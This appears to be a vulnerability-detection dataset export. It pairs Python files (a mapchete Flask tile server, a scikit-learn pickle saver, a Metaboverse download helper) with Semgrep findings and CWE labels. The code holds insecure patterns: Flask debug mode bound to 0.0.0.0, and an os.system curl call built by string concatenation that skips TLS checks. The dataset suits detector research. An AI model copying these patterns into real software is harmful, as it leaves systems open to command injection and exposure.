7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d2c103dbfdbb9b57.py", "start": {"line": 114, "col": 5, "offset": 4204}, "end": {"line": 114, "col": 101, "offset": 4300}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d2c103dbfdbb9b57_dab3b6d3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 118, "line_end": 118, "column_start": 5, "column_end": 101, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d2c103dbfdbb9b57.py", "start": {"line": 118, "col": 5, "offset": 4546}, "end": {"line": 118, "col": 101, "offset": 4642}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d2c103dbfdbb9b57_6b8fcc23", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 142, "line_end": 142, "column_start": 5, "column_end": 149, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d2c103dbfdbb9b57.py", "start": {"line": 142, "col": 5, "offset": 5404}, "end": {"line": 142, "col": 149, "offset": 5548}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
5
true
[ "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 114, 118, 142 ]
[ 114, 118, 142 ]
[ 5, 5, 5 ]
[ 101, 101, 149 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found dynamic conte...
[ 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH" ]
lo_predict.py
/lo_predict.py
cgomezsu/FIAQM
MIT
2024-11-18T21:52:08.416902+00:00
1,530,803,559,000
b13c13a903d8988fe21382121b160fff3afa6458
2
{ "blob_id": "b13c13a903d8988fe21382121b160fff3afa6458", "branch_name": "refs/heads/master", "committer_date": 1530803559000, "content_id": "9bbaefc13fb870fb4b5569015a79c537a2fe2b85", "detected_licenses": [ "MIT" ], "directory_id": "34f33f67f3c6212cac02cfd10d80a7a0c8f8c0c1", "extension": "py", "filename": "serve.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4316, "license": "MIT", "license_type": "permissive", "path": "/mapchete/cli/serve.py", "provenance": "stack-edu-0054.json.gz:589013", "repo_name": "puqiu/mapchete", "revision_date": 1530803559000, "revision_id": "003e9416d84ebea142a87ba9c48928eb4336347a", "snapshot_id": "29e68b65ff7b8ffa8fef422d82131e68a4f66b3b", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/puqiu/mapchete/003e9416d84ebea142a87ba9c48928eb4336347a/mapchete/cli/serve.py", "visit_date": "2020-03-24T03:22:28.948465" }
2.359375
stackv2
#!/usr/bin/env python """Command line utility to serve a Mapchete process.""" import logging import logging.config import os import pkgutil from rasterio.io import MemoryFile import six from flask import ( Flask, send_file, make_response, render_template_string, abort, jsonify) import mapchete from mapchete.tile import BufferedTilePyramid formatter = logging.Formatter('%(asctime)s %(levelname)s %(name)s %(message)s') stream_handler = logging.StreamHandler() stream_handler.setFormatter(formatter) stream_handler.setLevel(logging.ERROR) logging.getLogger().addHandler(stream_handler) logger = logging.getLogger(__name__) def main(args=None, _test=False): """ Serve a Mapchete process. Creates the Mapchete host and serves both web page with OpenLayers and the WMTS simple REST endpoint. """ app = create_app( mapchete_files=[args.mapchete_file], zoom=args.zoom, bounds=args.bounds, single_input_file=args.input_file, mode=_get_mode(args), debug=args.debug) if not _test: app.run( threaded=True, debug=True, port=args.port, host='0.0.0.0', extra_files=[args.mapchete_file]) def create_app( mapchete_files=None, zoom=None, bounds=None, single_input_file=None, mode="continue", debug=None ): """Configure and create Flask app.""" if debug: logging.getLogger("mapchete").setLevel(logging.DEBUG) stream_handler.setLevel(logging.DEBUG) app = Flask(__name__) mapchete_processes = { os.path.splitext(os.path.basename(mapchete_file))[0]: mapchete.open( mapchete_file, zoom=zoom, bounds=bounds, single_input_file=single_input_file, mode=mode, with_cache=True, debug=debug) for mapchete_file in mapchete_files } mp = next(six.iteritems(mapchete_processes))[1] pyramid_type = mp.config.process_pyramid.grid pyramid_srid = mp.config.process_pyramid.srid process_bounds = ",".join([str(i) for i in mp.config.bounds_at_zoom()]) grid = "g" if pyramid_srid == 3857 else "WGS84" web_pyramid = BufferedTilePyramid(pyramid_type) @app.route('/', methods=['GET']) def index(): """Render and hosts the appropriate OpenLayers instance.""" return render_template_string( pkgutil.get_data( 'mapchete.static', 'index.html').decode("utf-8"), srid=pyramid_srid, process_bounds=process_bounds, is_mercator=(pyramid_srid == 3857), process_names=six.iterkeys(mapchete_processes) ) @app.route( "/".join([ "", "wmts_simple", "1.0.0", "<string:mp_name>", "default", grid, "<int:zoom>", "<int:row>", "<int:col>.<string:file_ext>"]), methods=['GET']) def get(mp_name, zoom, row, col, file_ext): """Return processed, empty or error (in pink color) tile.""" logger.debug( "received tile (%s, %s, %s) for process %s", zoom, row, col, mp_name) # convert zoom, row, col into tile object using web pyramid return _tile_response( mapchete_processes[mp_name], web_pyramid.tile(zoom, row, col), debug) return app def _get_mode(parsed): if parsed.memory: return "memory" elif parsed.readonly: return "readonly" elif parsed.overwrite: return "overwrite" else: return "continue" def _tile_response(mp, web_tile, debug): try: logger.debug("getting web tile %s", str(web_tile.id)) return _valid_tile_response(mp, mp.get_raw_output(web_tile)) except Exception: logger.exception("getting web tile %s failed", str(web_tile.id)) if debug: raise else: abort(500) def _valid_tile_response(mp, data): out_data, mime_type = mp.config.output.for_web(data) logger.debug("create tile response %s", mime_type) if isinstance(out_data, MemoryFile): response = make_response(send_file(out_data, mime_type)) elif isinstance(out_data, list): response = make_response(jsonify(data)) else: raise TypeError("invalid response type for web") response.headers['Content-Type'] = mime_type response.cache_control.no_write = True return response
131
31.95
79
15
1,017
python
[{"finding_id": "semgrep_rules.python.flask.security.audit.avoid_app_run_with_bad_host_8340e7b4cd6cc5ee_df692f47", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.avoid_app_run_with_bad_host", "finding_type": "security", "severity": "medium", "confidence": "high", "message": "Running flask app with host 0.0.0.0 could expose the server publicly.", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 39, "column_start": 9, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-668: Exposure of Resource to Wrong Sphere", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2021 - Broken Access Control", "references": [{"url": "https://owasp.org/Top10/A01_2021-Broken_Access_Control", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.avoid_app_run_with_bad_host", "path": "/tmp/tmp10dxl77l/8340e7b4cd6cc5ee.py", "start": {"line": 37, "col": 9, "offset": 1045}, "end": {"line": 39, "col": 46, "offset": 1170}, "extra": {"message": "Running flask app with host 0.0.0.0 could expose the server publicly.", "metadata": {"cwe": ["CWE-668: Exposure of Resource to Wrong Sphere"], "owasp": ["A01:2021 - Broken Access Control", "A01:2025 - Broken Access Control"], "category": "security", "technology": ["flask"], "references": ["https://owasp.org/Top10/A01_2021-Broken_Access_Control"], "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.debug-enabled_8340e7b4cd6cc5ee_cbf87b97", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.debug-enabled", "finding_type": "security", "severity": "medium", "confidence": "high", "message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 39, "column_start": 9, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-489: Active Debug Code", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.debug-enabled", "path": "/tmp/tmp10dxl77l/8340e7b4cd6cc5ee.py", "start": {"line": 37, "col": 9, "offset": 1045}, "end": {"line": 39, "col": 46, "offset": 1170}, "extra": {"message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "metadata": {"cwe": ["CWE-489: Active Debug Code"], "owasp": "A06:2017 - Security Misconfiguration", "references": ["https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/"], "category": "security", "technology": ["flask"], "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_8340e7b4cd6cc5ee_205e1107", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `index` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 67, "line_end": 77, "column_start": 5, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmp10dxl77l/8340e7b4cd6cc5ee.py", "start": {"line": 67, "col": 5, "offset": 2136}, "end": {"line": 77, "col": 10, "offset": 2579}, "extra": {"message": "function `index` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.render-template-string_8340e7b4cd6cc5ee_9511d37c", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.render-template-string", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.", "remediation": "", "location": {"file_path": "unknown", "line_start": 70, "line_end": 77, "column_start": 16, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.render-template-string", "path": "/tmp/tmp10dxl77l/8340e7b4cd6cc5ee.py", "start": {"line": 70, "col": 16, "offset": 2269}, "end": {"line": 77, "col": 10, "offset": 2579}, "extra": {"message": "Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.", "metadata": {"cwe": ["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html"], "category": "security", "technology": ["flask"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_8340e7b4cd6cc5ee_d7e66f9e", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `get` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 79, "line_end": 92, "column_start": 5, "column_end": 19, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmp10dxl77l/8340e7b4cd6cc5ee.py", "start": {"line": 79, "col": 5, "offset": 2585}, "end": {"line": 92, "col": 19, "offset": 3215}, "extra": {"message": "function `get` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.logging-error-without-handling_8340e7b4cd6cc5ee_835d8d4d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.logging-error-without-handling", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Errors should only be logged when handled. The code logs the error and propogates the exception, consider reducing the level to warning or info.", "remediation": "", "location": {"file_path": "unknown", "line_start": 113, "line_end": 117, "column_start": 9, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.logging-error-without-handling", "path": "/tmp/tmp10dxl77l/8340e7b4cd6cc5ee.py", "start": {"line": 113, "col": 9, "offset": 3658}, "end": {"line": 117, "col": 23, "offset": 3795}, "extra": {"message": "Errors should only be logged when handled. The code logs the error and propogates the exception, consider reducing the level to warning or info.", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.xss.make-response-with-unknown-content_8340e7b4cd6cc5ee_863ac6d1", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.xss.make-response-with-unknown-content", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 124, "line_end": 124, "column_start": 20, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11", "title": null}, {"url": "https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response", "title": null}, {"url": "https://flask.palletsprojects.com/en/1.1.x/api/#response-objects", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.xss.make-response-with-unknown-content", "path": "/tmp/tmp10dxl77l/8340e7b4cd6cc5ee.py", "start": {"line": 124, "col": 20, "offset": 4006}, "end": {"line": 124, "col": 65, "offset": 4051}, "extra": {"message": "Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "references": ["https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11", "https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response", "https://flask.palletsprojects.com/en/1.1.x/api/#response-objects"], "category": "security", "technology": ["flask"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
7
true
[ "CWE-96", "CWE-79" ]
[ "rules.python.flask.security.audit.render-template-string", "rules.python.flask.security.audit.xss.make-response-with-unknown-content" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 70, 124 ]
[ 77, 124 ]
[ 16, 20 ]
[ 10, 65 ]
[ "A03:2021 - Injection", "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.", "Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` w...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
serve.py
/mapchete/cli/serve.py
puqiu/mapchete
MIT
2024-11-18T21:52:09.067060+00:00
1,618,526,985,000
633759e65eea969cfd20163689efc4b44313b76a
2
{ "blob_id": "633759e65eea969cfd20163689efc4b44313b76a", "branch_name": "refs/heads/main", "committer_date": 1618526985000, "content_id": "b34207dccdca066ff19f5cd979c4c4432b20a9e5", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "80c89c2aa0ecafbecc2692c29a55a5e4c675dd28", "extension": "py", "filename": "sklearn_model.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 589, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/neat/link_prediction/sklearn_model.py", "provenance": "stack-edu-0054.json.gz:589021", "repo_name": "SocioProphet/NEAT", "revision_date": 1618526985000, "revision_id": "754ba7adabeef4bd88ee320bc2707c03aaf51553", "snapshot_id": "7c50bec284a5af792e90d7a0aa89f9a9b2025874", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/SocioProphet/NEAT/754ba7adabeef4bd88ee320bc2707c03aaf51553/neat/link_prediction/sklearn_model.py", "visit_date": "2023-07-07T03:00:24.110032" }
2.484375
stackv2
import os import pickle from .model import Model class SklearnModel(Model): def __init__(self, config: dict, outdir: str = None): super().__init__(outdir=outdir) self.config = config model_type = config['model']['type'] model_class = self.dynamically_import_class(model_type) self.model = model_class() # type: ignore def fit(self, train_data, _): self.model.fit(*train_data) def save(self): with open(os.path.join(self.outdir, self.config['model']['outfile']), 'wb') as f: pickle.dump(self.model, f)
21
27.05
89
17
141
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_f37e9bb8d92154ac_eb9c30f4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 20, "line_end": 20, "column_start": 14, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/f37e9bb8d92154ac.py", "start": {"line": 20, "col": 14, "offset": 561}, "end": {"line": 20, "col": 40, "offset": 587}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 20 ]
[ 20 ]
[ 14 ]
[ 40 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
sklearn_model.py
/neat/link_prediction/sklearn_model.py
SocioProphet/NEAT
BSD-3-Clause
2024-11-18T22:02:40.727800+00:00
1,690,164,914,000
a679994046badebfd89a17f25b4388dbc51d97d6
2
{ "blob_id": "a679994046badebfd89a17f25b4388dbc51d97d6", "branch_name": "refs/heads/main", "committer_date": 1690164914000, "content_id": "662ae4209650e263c7441c28ddd7a2498d464b0b", "detected_licenses": [ "MIT" ], "directory_id": "8cbf0fb3330448dd59ba25734f76141f0180c46c", "extension": "py", "filename": "utils.py", "fork_events_count": 5, "gha_created_at": 1566256963000, "gha_event_created_at": 1694030119000, "gha_language": "JavaScript", "gha_license_id": "MIT", "github_id": 203264184, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2305, "license": "MIT", "license_type": "permissive", "path": "/cli/metaboverse_cli/curate/utils.py", "provenance": "stack-edu-0054.json.gz:589079", "repo_name": "Metaboverse/Metaboverse", "revision_date": 1690164914000, "revision_id": "cd373b05588686e710436eb89cea63a634d09091", "snapshot_id": "41b0d6c3c91930e464ec88030a1656532aeeeaa4", "src_encoding": "UTF-8", "star_events_count": 30, "url": "https://raw.githubusercontent.com/Metaboverse/Metaboverse/cd373b05588686e710436eb89cea63a634d09091/cli/metaboverse_cli/curate/utils.py", "visit_date": "2023-07-27T12:22:37.062983" }
2.453125
stackv2
"""License Information metaboverse-cli Back-end CLI Tool for Curating Metabolic Networks for Metaboverse https://github.com/Metaboverse/metaboverse-cli/ alias: metaboverse-cli MIT License Copyright (c) Jordan A. Berg, The University of Utah Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from __future__ import print_function import pandas as pd import os def get_table( output_dir, url, column_names, organism='Homo sapiens', organism_key='organism'): """Get reactome table from web """ # chebi_reactome_reactions file = unpack_table( url=url, output_dir=output_dir) if isinstance(column_names, list): header_type = None else: header_type = column_names data = pd.read_csv( file, sep='\t', header=header_type, low_memory=False) if isinstance(column_names, list) \ or organism == None: data.columns = column_names data_organism = data.loc[data[organism_key] == organism] else: data_organism = data return data_organism """Open reactome table from web """ def unpack_table( url, output_dir='./'): file = output_dir + url.split('/')[-1] os.system('curl -kL ' + url + ' -o "' + file + '"') return file
82
27.11
78
12
520
python
